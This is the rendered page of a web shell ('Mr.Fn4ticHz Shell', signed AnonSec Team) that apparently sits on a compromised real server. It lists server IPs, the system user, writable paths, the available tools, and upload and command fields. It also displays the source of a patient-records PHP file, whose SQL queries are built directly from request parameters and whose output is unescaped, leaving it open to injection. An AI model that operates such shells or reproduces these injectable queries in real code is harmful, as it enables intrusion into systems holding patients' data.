Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.226.251.70
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//Physiotherapy.php
<?php
session_start();
require_once("../dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
require_once("../patientmanager.php");
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
if(isset($_POST[Physiotherapy]))

	{
		PatientManager::Physiotherapy("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Physiotherapy]","$_POST[entered_by]");
	
}
?>


<?php
include("dbconnection.php");
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM 	Physiotherapy WHERE id='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
	    	$sql1 ="DELETE FROM patient_invace WHERE pagetype='$_GET[delid]'";
	$qsql1=mysqli_query($con,$sql1);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Deleted successfully..');</script>";
	}
}
}
?>

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>Physiotherapy Performed  </title>
 
  <body>
      
           	<h3><i class="fa fa-angle-right"></i>Physiotherapy Performed </h3>
           	
           	 	<form name="Physiotherapy" method="post">
    <button style="height:30px;width:200px" value="Done" name="Physiotherapy" type="submit"><i class="fa fa-plus"></i> Physiotherapy Done</button>
        
</form>
          	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  </style>
  </head>
 
    <div id="container">
 <table border="1">
      <tbody>
                  <tr>
      <th><div align="center">Timing </div></th> <th><div align="center">Towards </div></th>
          <th><div align="center">Created By</div></th>  
          <th><div align="center">Action</div></th>    

               </tr>
        </tbody>
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$sql4 ="SELECT * FROM Physiotherapy WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
		$qsql4 = mysqli_query($con,$sql4);
		while($rp = mysqli_fetch_array($qsql4))
		{
		    	$sql1 ="SELECT * FROM site_users WHERE userno='$rp[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
        echo " <tbody>
	                <tr>
               
                 <td>&nbsp;$rp[created_at]</td>
                  <td>&nbsp;$rp[Physiotherapy]</td>
                    <td>&nbsp;$re[name]</td>
                    
                     <td style='width:25%'><a href='edit_showPhysiotherapy.php?prescriptionid=$rp[prescriptionid]&patientid=$rp[patientid]&id=$rp[id]' style='width:15%'><i class='fa fa-pencil-square-o' aria-hidden='true' style='font-size:20px;width:10%'></i></a> | <a href='nursingrecodstest.php?prescriptionid=$rp[prescriptionid]&patientid=$rp[patientid]&delid=$rp[id]'  style='width:15%'><i class='fa fa-trash-o' aria-hidden='true' style='font-size:20px;color:red;width:10%'></i></a></td>
                    
                    
                 
                                 </tr>                   
          
          ";


}

}

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
      </div>

Anon7 - 2022
AnonSec Team